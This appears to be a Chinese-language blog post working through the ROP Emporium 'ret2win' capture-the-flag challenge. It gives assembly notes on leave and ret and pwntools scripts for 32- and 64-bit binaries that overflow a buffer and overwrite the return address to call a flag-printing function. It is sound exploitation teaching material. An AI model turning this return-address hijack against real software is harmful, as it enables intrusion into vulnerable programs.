ROPr入口:https://ropemporium.com/
1.无法写入shellcoede
, 查找敏感的函数(作者自己留下的后门函数)
2.既然有了可以利用的函数,我们就开始构造
3.fgets()
最多读取buffer-1
(包括回车)
4.
LEA
是微机8086/8088系列的一条指令,取自英语Load effective address——取[有效地址],也就是取[偏移地址]。在微机8086/8088中有20位[物理地址],由16[位段]基址向左偏移4位再与偏移地址之和得到。地址传送指令之一。
mov ax,2
mov bx,1
sub ax,bx
其中sub ax,bx就是ax中的值减bx中的值,等于1,然后把结果,也就是1,放入ax中。
6.为什么要p32(0) 回答:覆盖ebp的值 ,在执行leave的时候其实就是在pop ebp。
leave详解
在16位汇编下相当于:
mov sp,bp
pop bp
在32位汇编下相当于:
mov esp,ebp
pop ebp
7.知道了溢出大小,p32(0),就差我们的ret了, ret是返回地址的意思。 我们可以利用ret,劫持程序的流程(到达我们想去的地方)。
8.点开有惊喜:https://blog.csdn.net/striver1205/article/details/25695437
int ret2win()
{
printf("Thank you! Here's your flag:");
return system("/bin/cat flag.txt");
}
32
from pwn import*
##context.log_level = 'debug'
p = process("./ret2win32")
##p = remote("","")
ret2win_addr = 0x8048659 //跳转到这个函数里面去执行system(cat .....)
payload = 'A'* 0x28
payload += p32(0)
payload += p32(ret2win_addr)
p.sendline(payload)
p.interactive()
原理一样
64
from pwn import*
##context.log_level = 'debug'
p = process("./ret2win")
##p = remote("","")
system_addr = 0x400811
payload = 'A' * 0x20
payload += p64(0)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
网友评论